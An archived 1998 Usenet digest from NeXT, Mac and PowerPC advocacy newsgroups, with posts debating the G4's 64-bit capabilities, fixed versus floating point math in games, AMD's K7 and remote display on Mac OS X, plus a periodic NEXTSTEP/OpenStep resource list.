From: see-below@not-my-address.invalid (Dohnut)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: cancel <see-below-1710981501050001@dynamic21.pm08.mv.best.com>
Message-ID: <see-below-1710981503550001@dynamic21.pm08.mv.best.com>
Control: cancel <see-below-1710981501050001@dynamic21.pm08.mv.best.com>
cancel <see-below-1710981501050001@dynamic21.pm08.mv.best.com>
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: 17 Oct 98 09:51:55 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B24E193E-1C973@206.165.43.60>
References: <tim-1710980845220001@jump-tnt-0140.customer.jump.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.powerpc.advocacy
Tim Olson <tim@jumpnet.com> said:
>| There are plenty of places where otherwise-32-bit applications would
>| benefit from an implementation with these features.
>
>What are those? Note that when I say "operate on full 64-bit quantities"
>I don't mean data movement -- that's just equivalent to operating on a
>vector of smaller quantities. What 64-bit scalar values are you using in
>your code?
None, at this point, but as someone else pointed out, 64-bit fixed point
operations could easily replace floating point operations in games and
other graphics-intensive apps and there ARE provisions for register to
register conversion of 64-bit to 32-bit fixed point in the PPC ISA, which
would avoid touching memory to do the conversion as is required now.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Sander Vesik <sander@haldjas.folklore.ee>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: 17 Oct 1998 17:14:17 GMT
Organization: Eesti Keele Instituut/Eesti Rahvaluule Arhiiv
Message-ID: <908644457.830953@haldjas.folklore.ee>
References: <705opt$5ms@newsb.netnews.att.com> <3627893A.A296560B@mci.com> <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171> <tim-1610982233450001@jump-tnt-0185.customer.jump.net> <B24DB419-18FAE@206.165.43.124> <tim-1710980845220001@jump-tnt-0140.customer.jump.net>
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Cache-Post-Path: haldjas.folklore.ee!unknown@localhost.folklore.ee
In comp.sys.powerpc.advocacy Tim Olson <tim@jumpnet.com> wrote:
> In article <B24DB419-18FAE@206.165.43.124>, "Lawson English"
> <english@primenet.com> wrote:
> | Tim Olson <tim@jumpnet.com> said:
> |
> | >N.B. the generally accepted definition of a 64-bit processor is one that:
> | >
> | > * has 64-bit general-purpose registers
> | > * has instructions which operate on full 64-bit quantities
> | |
> | There are plenty of places where otherwise-32-bit applications would
> | benefit from an implementation with these features.
> What are those? Note that when I say "operate on full 64-bit quantities"
> I don't mean data movement -- that's just equivalent to operating on a
> vector of smaller quantities. What 64-bit scalar values are you using in
> your code?
File offsets. And if the rumour that MacOSX has indeed 4.4BSD based
kernel so will be all who use MacOSX.
> --
> -- Tim Olson
--
Sander
There is no love, no good, no happiness and no future -
all these are just illusions.
From: pxpst2@unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: AMD K7 info Re: Motorola's G4 PowerPC
Date: Sat, 17 Oct 1998 20:45:32 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-1710982045320001@pelli.pathology.pitt.edu>
References: <705opt$5ms@newsb.netnews.att.com> <36267547.0@news.depaul.edu> <36267a3b.39375399@nntp.service.ohio-state.edu> <36268A98.FED2648E@nstar.net>
In article <36268A98.FED2648E@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> one may have to
> rethink one's thoughts on AMD as the "low-cost alternative".
C'mon Michael you should know better than most that AMD is not gooing to
sell this as the low cost alternative unless it is being compared to the
Xeon. AMS is attempt to attack the intel product line all the way up the
processor chain.
Peter
--
"don't you eat that yellow snow
Watch out where the huskies go"
FZ
From: Jonas.Palm@orgk1.lu.se (Jonas Palm)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: Sat, 17 Oct 1998 22:37:09 +0100
Organization: University of Lund, Sweden
Message-ID: <Jonas.Palm-1710982237100001@jp.orgk1.dial.lu.se>
References: <tim-1610982233450001@jump-tnt-0185.customer.jump.net> <B24DB419-18FAE@206.165.43.124> <tim-1710980845220001@jump-tnt-0140.customer.jump.net>
In article <tim-1710980845220001@jump-tnt-0140.customer.jump.net>,
tim@jumpnet.com (Tim Olson) wrote:
> In article <B24DB419-18FAE@206.165.43.124>, "Lawson English"
> <english@primenet.com> wrote:
>
> | Tim Olson <tim@jumpnet.com> said:
> |
> | >N.B. the generally accepted definition of a 64-bit processor is one that:
> | >
> | > * has 64-bit general-purpose registers
> | > * has instructions which operate on full 64-bit quantities
> | |
> | There are plenty of places where otherwise-32-bit applications would
> | benefit from an implementation with these features.
>
> What are those? Note that when I say "operate on full 64-bit quantities"
> I don't mean data movement -- that's just equivalent to operating on a
> vector of smaller quantities. What 64-bit scalar values are you using in
> your code?
With 'scalar' do you mean 'integer' or 'non-vector'?
Otherwise, I have done lots of multi-day molecular calculations on
macs, using 64-bit floating point data.
If it had been possible to cram in more than 4 GB and to adress it linearly,
that would be quite useful. One challenge in quantum chemical calculations
is to keep the datasets in memory. (Still called 'in core'. :-)
(Quantum chemical calculations are largely bandwidth limited today.
In my experience, generally the problem size grows with heavier
calculational challenges, rather than the amount of operations on a given
amount of data.
Implies that bandwidth/latency is a more urgent problem than instructions
per cycle, at least at this point in time. 128-bit buses, anyone?)
Jonas Palm
From: nospam@nospam.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: 17 Oct 1998 20:42:40 GMT
Organization: Internet Specialties West, Inc.
Message-ID: <70avg1$69m$1@news.iswest.net>
References: <tim-1610982233450001@jump-tnt-0185.customer.jump.net> <B24DB419-18FAE@206.165.43.124> <tim-1710980845220001@jump-tnt-0140.customer.jump.net> <Jonas.Palm-1710982237100001@jp.orgk1.dial.lu.se>
In-Reply-To: <Jonas.Palm-1710982237100001@jp.orgk1.dial.lu.se>
On 10/17/98, Jonas Palm wrote:
>(Quantum chemical calculations are largely bandwidth limited today.
>In my experience, generally the problem size grows with heavier
>calculational challenges, rather than the amount of operations on a given
>amount of data.
>Implies that bandwidth/latency is a more urgent problem than instructions
>per cycle, at least at this point in time. 128-bit buses, anyone?)
How about using reconfigurable computing to intertwine the computing and
memory circuts so you don't need a CPU/memory bus and all parallelizable
computations can be done in parallel? Yeah, I know it will be a while
before this happens..
Steve
Message-ID: <36290128.BEF527F9@nstar.net>
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com> <6v0cu9$jur$1@nnrp03.primenet.com> <6v0s9m$pfc$1@nnrp1.dejanews.com> <6v2tk2$lqd@news1.panix.com> <6v31n9$c84$1@nnrp02.primenet.com> <joe.ragosta-0210982016330001@elk86.dol.net> <mazulauf-0310980024190001@happy.met.utah.edu> <ckoller-0310980112110001@22.los-angeles-05.ca.dial-access.att.net> <ericb-0310981902260001@r4149.resnet.cornell.edu> <01bdef38$8ec16d10$06387880@chewy> <3616049A.6DA9@southwind.net> <ckoller-1710981059160001@172.los-angeles-05.ca.dial-access.att.net>
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NNTP-Posting-Date: Sat, 17 Oct 1998 16:42:50 EDT
Organization: ISPNews http://ispnews.com
Date: Sat, 17 Oct 1998 15:42:16 -0500
Craig Koller wrote:
[cut]
> So, given the choice of a 100% customer-fulfilling DEAD Apple, and a
> restructured, partially fulfilling LIVING, thriving and innovating Apple?
>
> C'mon...
What's difference between the second choice and Microsoft?
Just curious.
MJP
From: pxpst2@unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: AMD K7 info Re: Motorola's G4 PowerPC
Date: Sat, 17 Oct 1998 20:42:52 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-1710982042530001@pelli.pathology.pitt.edu>
References: <705opt$5ms@newsb.netnews.att.com> <36267547.0@news.depaul.edu> <36267a3b.39375399@nntp.service.ohio-state.edu> <706b8t$ffq$1@the-fly.zip.com.au>
In article <706b8t$ffq$1@the-fly.zip.com.au>, aida@zip.com.au (Advanced
Integration Designs Aust.) wrote:
> FYI a 1ghz ppc has already been demoed.
That demo was a stripped down logic core. I would hardly consider that a
full demo of a PPC. I would consider that a PROOF OF CONCEPT that says
that a 1 GHz PPC could be built.
Peter
--
"don't you eat that yellow snow
Watch out where the huskies go"
FZ
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: Sun, 18 Oct 1998 05:01:48 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <70bsns$3dn$1@nnrp1.dejanews.com>
References: <tim-1610982233450001@jump-tnt-0185.customer.jump.net> <B24DB419-18FAE@206.165.43.124> <tim-1710980845220001@jump-tnt-0140.customer.jump.net>
In article <tim-1710980845220001@jump-tnt-0140.customer.jump.net>,
tim@jumpnet.com (Tim Olson) wrote:
> What are those? Note that when I say "operate on full 64-bit quantities"
> I don't mean data movement -- that's just equivalent to operating on a
> vector of smaller quantities. What 64-bit scalar values are you using in
> your code?
Metrowerks has a "long long" type that I'm sure they didn't add for fun.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Message-ID: <36294D80.ABE66B67@nstar.net>
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: AMD K7 info Re: Motorola's G4 PowerPC
References: <705opt$5ms@newsb.netnews.att.com> <36267547.0@news.depaul.edu> <36267a3b.39375399@nntp.service.ohio-state.edu> <36268A98.FED2648E@nstar.net> <pxpst2-1710982045320001@pelli.pathology.pitt.edu>
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NNTP-Posting-Date: Sat, 17 Oct 1998 22:08:33 EDT
Organization: ISPNews http://ispnews.com
Date: Sat, 17 Oct 1998 21:08:00 -0500
Peter wrote:
>
> In article <36268A98.FED2648E@nstar.net>, "Michael J. Peck"
> <mjpeck@nstar.net> wrote:
>
> > one may have to
> > rethink one's thoughts on AMD as the "low-cost alternative".
>
> C'mon Michael you should know better than most that AMD is not gooing to
> sell this as the low cost alternative unless it is being compared to the
> Xeon. AMS is attempt to attack the intel product line all the way up the
> processor chain.
That's what I said.
MJP
Subject: Re: Motorola's G4 PowerPC
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
References: <tim-1710980845220001@jump-tnt-0140.customer.jump.net> <B24E193E-1C973@206.165.43.60>
In-Reply-To: <B24E193E-1C973@206.165.43.60>
From: kcd@babylon5.jumpgate.com (Kenneth C. Dyke)
Date: 18 Oct 1998 06:51:57 GMT
Message-ID: <3629900d$0$7319@nntp1.ba.best.com>
On 10/17/98, "Lawson English" wrote:
>
>None, at this point, but as someone else pointed out, 64-bit fixed
>point operations could easily replace floating point operations in
>games and other graphics-intensive apps and there ARE provisions for
>register to register conversion of 64-bit to 32-bit fixed point in the
>PPC ISA, which would avoid touching memory to do the conversion as is
>required now.
As a game programmer, why the *hell* would I want to use 64-bit fixed
point when I already have 64-bit floating point? After having done PSX
games for a number of years, I would take issue with anyone who claims
that fixed point can "easily" replace floating point.
Dealing with fixed point math is simply a pain in the ass, and at this
point will probably always be *slower* than using floating point. How
long does it take to do a proper 64 x 64 fixed point multiply? Here's
a hint: Way longer than the 4 clocks it take to do a 64 x 64 fpu
multiply. And then if you're talking to any decent modern 3D hardware,
you'll have to convert from 64-bit fixed point to 32-bit floating point
anyway. I'd rather just do everything in floating point to begin with,
and be able to take advantage of an extra execution unit. And if I
can get away with 32-bit floats, then I can use AltiVec.
-Ken
--
Kenneth Dyke, kcd@jumpgate.com (personal), kdyke@ea.com (work)
Software Engineer, Jane's Combat Simulations, Electronic Arts
C++: The power, elegance and simplicity of a hand grenade.
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Press reports of Apple's profits
Date: 18 Oct 1998 03:22:17 GMT
Organization: University of Illinois at Chicago
Message-ID: <70bmt9$25lq$1@piglet.cc.uic.edu>
References: <3626A8A1.A166967B@nstar.net> <708brr$1l5u$1@piglet.cc.uic.edu> <3627C56A.A5A01466@ericsson.com>
Michael Peck (Michael.Peck@ericsson.com) wrote:
: Anil T Maliyekke wrote:
: > While X Windows support might be nice, it would be preferable if
: > Mac OS X had the capability for remote display of Mac OS X
: > programs included. There aren't that many X windows applications out there
: > that you would really want to run over a network unfortunately, except
: > maybe some server management apps.
: How about a good example of why remotability is a good idea?
: Cast:
: Bob, an office worker
: Bob2, who works across the cubicle wall
: Act One
: Bob: Hey, look at this cool picture!
: Bob2: [clomp clomp clomp clomp clomp clomp clomp clomp clomp clomp]
: Cool!
: [clomp clomp clomp clomp clomp clomp clomp clomp clomp clomp]
: Act Two
: Bob: Hey, Bob2, take a look at this cool picture! [type type type]
: Bob2: Cool!
: Curtain
: On a more practical note, have you ever used a code-revision management
: tool? Something like ClearCase? Do you have any idea what it's like to
: manage a network of ClearCase-installed workstations? How about SNiFF+?
: Personally, I'd rather run a graphical development client over the
: network (but have the files local to the client) than mount an remote
: NFS volume (but have snappy GUI performance). Have you ever compiled a
: large project with objects linked over ethernet? Take a long lunch. My
: compiles are I/O-bound as it is (with SCSI 3 disks). Come to think of
: it, almost everything I do is I/O-bound.
: I develop for Linux from a Solaris workstation because the Linux boxes
: are in the server room and the workstation is on my desk. I have all of
: the speed of the Linux server on my desk but I'm not in the server room.
: I run SNiFF+, XEmacs, DDD, Perl, Qt, everything I want directly on my
: Linux servers. I also get my Solaris-only tools, like WinDD and
: FrameMaker. Also on my desktop.
Point taken. I used to do similar things. But if you are talking
mainly about supporting remote display of applications onto your
Mac OS X desktop, it isn't necessary for Apple to give you this
support, since third parties can provide those tools. In fact
I think there are some free X emulators available for Rhapsody/OpenStep.
However, if you want native ports of X Windows applications, it probably
would be preferable for Apple to provide that support so that you can
ensure the libraries used are consistent and compatible and easily
targetable by third parties porting over X Windows applications.
: In effect, I have a thin client on my desktop with network access to
: almost any server in the building. As NT creeps into our organization,
: I'm going to begin to lose that, as the company begins spending money on
: horsepower where it's not needed -- on the desktop -- to the detriment
: of areas where it *is* needed -- on development servers. Won't it be a
: wonderful day when I have this huge hard disk in my desktop machine to
: store a massive operating system and its associated needless and
: redundant applications?
: Bottom line, in an enterprise setting, you're going to be using data
: files that doesn't come from your hard drive. Now, which would you
: rather send over the network: the graphical feedback from apps running
: local to the data? Or the data itself? Or course it's the vogue to
: despise thin clients, but stop and think about this for just a moment.
: > CAD and other high end
: > graphics intesive applications are likely not worth remote displaying.
: > However, if you were talking about X Windows support for the purpose
: > of porting applications over, that would be nice.
: Yes.
: > However, it would
: > be a mixed blessing unless vendors eventually port to native
: > Mac OS X APIs, just so they can create a consistent looking application
: > and integrate properly with the rest of the working environment.
: Rootless X Windows apps decorated by MacOS X. What's inconsistent? If
: Carbon and YB can co-exist, so can Carbon and Qt or Carbon and Motif
: 2.0.
They can coexist on the screen, but that doesn't mean it will
look like they belong. Motif or Qt Widgets will likely look out
of place. But that isn't the main issue.
The main thing is support of GUI operations and features
like graphics or other non text cut & paste and drag and drop between
applications and the deskop.
: > While it may allow UNIX integration and compliance, it still isn't
: > built like UNIX.
: I'm not sure what this means, exactly.
: MJP
What I mean is that adding UNIX services isn't going to make
NT robust like UNIX, or OS/390, OS/400 or VMS. I think Microsoft
made a wrong turn along the way with NT, and now they can't go
back and fix it without creating an ugly mess. Microsoft's
priorities when they first created NT were to create a more advanced OS
with an integrated GUI, not a truly robust and secure multiuser system.
Anil
From: sanguish@digifix.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.announce,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.programmer
Subject: NEXTSTEP/OpenStep Resources on the Net
Supersedes: <17552908078421@digifix.com>
Date: 18 Oct 1998 03:47:16 GMT
Organization: Digital Fix Development
Message-ID: <12647908683221@digifix.com>
Topics include:
Major OpenStep/NEXTSTEP World Wide Web Sites
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
Major OpenStep/NEXTSTEP FTP sites
NeXTanswers
Major OpenStep/NEXTSTEP World Wide Web Sites
============================================
The following sites are a sample of the OpenStep related WWW
sites available. A comprehensive list is available on Stepwise.
Stepwise OpenStep/Rhapsody Information Server
http://www.stepwise.com
Stepwise has been serving the OpenStep/NEXTSTEP community
since March 1994. Some of the many resources on the site
include: original YellowBox and Rhapsody articles, mailing
list information, extensive listing of FTP and WWW sites
related to Rhapsody, OpenStep and NEXTSTEP, OpenStep related
Frequently Asked Questions.
NeXT Software Archives @ Peak.org
http://www.peak.org/next
http://www.peak.org/openstep
http://www.peak.org/rhapsody
PEAK is the premier NeXTStep/OpenStep FTP site in North
America.
Apple Enterprise Software Group
(formerly NeXT Computer, Inc.)
http://enterprise.apple.com
http://enterprise.apple.com/NeXTanswers
Here is where you'll find the NeXTanswers archive, with
information on OpenStep installation, drivers and software
patches.
Apple Computer's Rhapsody Developer Release Site
http://gemma.apple.com/rhapsody/rhapdev/rhapsody.html
These pages are focused on tools and resources you need to
develop great Rhapsody software products..
Rhapsody Developer Documentation
http://gemma.apple.com/techinfo/techdocs/rhapsody/rhapsody.html
WebObjects Documentation
http://gemma.apple.com/techinfo/techdocs/enterprise/enterprise.html
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
====================================================
COMP.SYS.NEXT.ADVOCACY
This is the "why NEXTSTEP is better (or worse) than anything
else in the known universe" forum. It was created specifically
to divert lengthy flame wars from .misc.
COMP.SYS.NEXT.ANNOUNCE
Announcements of general interest to the NeXT community (new
products, FTP submissions, user group meetings, commercial
announcements etc.)
This is a moderated newsgroup, meaning that you can't post
to it directly. Submissions should be e-mailed to
next-announce@digifix.com where the moderator (Scott Anguish)
will screen them for suitability.
Messages posted to announce should NOT be posted or crossposted
to any other comp.sys.next groups.
COMP.SYS.NEXT.BUGS
A place to report verifiable bugs in NeXT-supplied software.
Material e-mailed to Bug_NeXT@NeXT.COM is not published, so
this is a place for the net community find out about problems
when they're discovered. This newsgroup has a very poor
signal/noise ratio--all too often bozos post stuff here that
really belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-specific
groups as well.
COMP.SYS.NEXT.HARDWARE
Discussions about NeXT-label hardware and compatible peripherals,
and non-NeXT-produced hardware (e.g. Intel) that is compatible
with NEXTSTEP. In most cases, questions about Intel hardware
are better asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't the place
to buy or sell used NeXTs--that's what .marketplace is for.
COMP.SYS.NEXT.MARKETPLACE
NeXT stuff for sale/wanted. Material posted here must not be
crossposted to any other c.s.n.* newsgroup, but may be
crossposted to misc.forsale.computers.workstation or appropriate
regional newsgroups.
COMP.SYS.NEXT.MISC
For stuff that doesn't fit anywhere else. Anything you post
here by definition doesn't belong anywhere else in c.s.n.*--i.e.
no crossposting!!!
COMP.SYS.NEXT.PROGRAMMER
Questions and discussions of interest to NEXTSTEP programmers.
This is primarily a forum for advanced technical material.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
COMP.SYS.NEXT.SOFTWARE
This is a place to talk about [third party] software products
that run on NEXTSTEP systems.
COMP.SYS.NEXT.SYSADMIN
Stuff relating to NeXT system administration issues; in rare
cases this will spill over into .programmer or .software.
** RELATED NEWSGROUPS **
COMP.SOFT-SYS.NEXTSTEP
Like comp.sys.next.software and comp.sys.next.misc combined.
Exists because NeXT is a software-only company now, and
comp.soft-sys is for discussion of software systems with scope
similar to NEXTSTEP.
COMP.LANG.OBJECTIVE-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
COMP.OBJECT
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then again
OOP allows one to be a programmer/philosopher. (The original
comp.sys.next no longer exists--do not attempt to post to
it.)
Exception to the crossposting restrictions: announcements
of usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
===========================================
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups
are now available as a mailing list digest as well.
next-nextstep
next-advocacy
next-announce
next-bugs
next-hardware
next-marketplace
next-misc
next-programmer
next-software
next-sysadmin
object
lang-objective-c
(For a full description, send mail to listserv@antigone.com).
The subscription syntax is essentially the same as Majordomo's.
To subscribe, send a message to *-request@lists.best.com saying:
subscribe
where * is the name of the list
e.g. next-programmer-request@lists.best.com
Major OpenStep/NEXTSTEP FTP sites
=================================
ftp://ftp.next.peak.org
The main site for North American submissions formerly
ftp.cs.orst.edu
ftp://ftp.peanuts.org:
(Peanuts) Located in Germany. Comprehensive archive site.
Very well maintained.
ftp://ftp.nluug.nl/pub/comp/next
NeGeN/NiNe (NEXTSTEP Gebruikers Nederland/NeXTSTEP in the Netherlands)
ftp://cube.sm.dsi.unimi.it
(Italian NEXTSTEP User Group)
ftp://ftp.nmr.embl-heidelberg.de/pub/next
eduStep
ftp://ftp.next.com:
See below
ftp.next.com and NextAnswers@next.com
=====================================
[from the document ftp://ftp.next.com/pub/NeXTanswers/1000_Help]
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, read them on the world-wide
web, transfer them by anonymous ftp, or download them from the BBS.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to
nextanswers@next.com. Files are sent as NeXTmail attachments by
default; you can request they be sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
REPLY-TO address sets the e-mail address NeXTanswers uses
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO
If you have any problem with the system or suggestions for improvement,
please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS VIA THE WORLD-WIDE WEB
To use NeXTanswers via the Internet World-Wide Web connect to NeXT's web
server at URL http://www.next.com.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY MODEM
To use NeXTanswers via modem call the NeXTanswers BBS at (415) 780-2965.
Log in as the user "guest", and enter the Files section. From there you
can download NeXTanswers documents.
FOR MORE HELP...
If you need technical support for NEXTSTEP beyond the information available
from NeXTanswers, call the Support Hotline at 1-800-955-NeXT (outside the U.S.
call +1-415-424-8500) to speak to a NEXTSTEP Technical Support Technician.
If your site has a NeXT support contract, your site's support contact must
make this call to the hotline. Otherwise, hotline support is on a
pay-per-call basis.
Thanks for using NeXTanswers!
_________________________________________________________________
Written by:
Eric P. Scott ( eps@toaster.SFSU.EDU ) and
Scott Anguish ( sanguish@digifix.com )
Additions from:
Greg Anderson ( Greg_Anderson@afs.com )
Michael Pizolato ( alf@epix.net )
Dan Grillo ( dan_grillo@next.com )
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: 18 Oct 98 00:38:40 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B24EE913-10EC3@206.165.43.120>
References: <3629900d$0$7319@nntp1.ba.best.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.powerpc.advocacy
Kenneth C. Dyke <kcd@babylon5.jumpgate.com> said:
>On 10/17/98, "Lawson English" wrote:
>>
>>None, at this point, but as someone else pointed out, 64-bit fixed
>>point operations could easily replace floating point operations in
>>games and other graphics-intensive apps and there ARE provisions for
>>register to register conversion of 64-bit to 32-bit fixed point in the
>>PPC ISA, which would avoid touching memory to do the conversion as is
>>required now.
>
>As a game programmer, why the *hell* would I want to use 64-bit fixed
>point when I already have 64-bit floating point? After having done PSX
>games for a number of years, I would take issue with anyone who claims
>that fixed point can "easily" replace floating point.
>
>Dealing with fixed point math is simply a pain in the ass, and at this
>point will probably always be *slower* than using floating point. How
>long does it take to do a proper 64 x 64 fixed point multiply? Here's
>a hint: Way longer than the 4 clocks it take to do a 64 x 64 fpu
>multiply.
???
Doing any operation in hardware takes as long as the designers decide that
it does. There's no law of CPU design that says that floating point is
faster than fixed. In fact, it's the other way around. Designers just spend
more gates on making FP operations faster in some cases.
And then if you're talking to any decent modern 3D hardware,
>you'll have to convert from 64-bit fixed point to 32-bit floating point
>anyway. I'd rather just do everything in floating point to begin with,
>and be able to take advantage of an extra execution unit. And if I
>can get away with 32-bit floats, then I can use AltiVec.
>
But not every game makes use of 3D hardware. And using fixed point math IS
easier in some situations.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Message-ID: <2991566654@hoult.actrix.gen.nz>
From: Bruce@hoult.actrix.gen.nz (Bruce Hoult)
Date: Sun, 18 Oct 1998 14:44:14 +1300
References: <see-below-1710981501050001@dynamic21.pm08.mv.best.com>
see-below@not-my-address.invalid (Dohnut) writes:
> In article <B24DB4FB-1C4D2@206.165.43.124>, "Lawson English"
> <english@primenet.com> wrote:
>
>
> > I indicated that there were applications where having wider registers and
> > data buses would be useful, even if the rest of the system were still
> > 32-bit.
>
> Didn't Tim say G4 processors' general-purpose registers are 128-bits wide?
No, 32 same as always. It's the AltiVec registers that are 128 bits.
-- Bruce
--
'We have no intention of shipping another bloated operating system and
forcing that down the throats of our Windows customers'
-- Paul Maritz, Microsoft Group Vice President
Date: Sun, 18 Oct 1998 01:08:09 -0700
From: see-below@not-my-address.invalid (Dohnut)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Message-ID: <see-below-1810980108090001@dynamic25.pm02.mv.best.com>
References: <see-below-1710981501050001@dynamic21.pm08.mv.best.com> <2991566654@hoult.actrix.gen.nz>
In article <2991566654@hoult.actrix.gen.nz>, Bruce@hoult.actrix.gen.nz
(Bruce Hoult) wrote:
> see-below@not-my-address.invalid (Dohnut) writes:
> > In article <B24DB4FB-1C4D2@206.165.43.124>, "Lawson English"
> > <english@primenet.com> wrote:
> >
> >
> > > I indicated that there were applications where having wider registers and
> > > data buses would be useful, even if the rest of the system were still
> > > 32-bit.
> >
> > Didn't Tim say G4 processors' general-purpose registers are 128-bits wide?
>
> No, 32 same as always. It's the AltiVec registers that are 128 bits.
Yeah, I noticed that just after posting, and obviously my cancel didn't go
through in time. :)
--
-------------------------------
matthewv@best.com
http://www.best.com/~matthewv/
-------------------------------
Message-ID: <3629731C.ECB0114E@nstar.net>
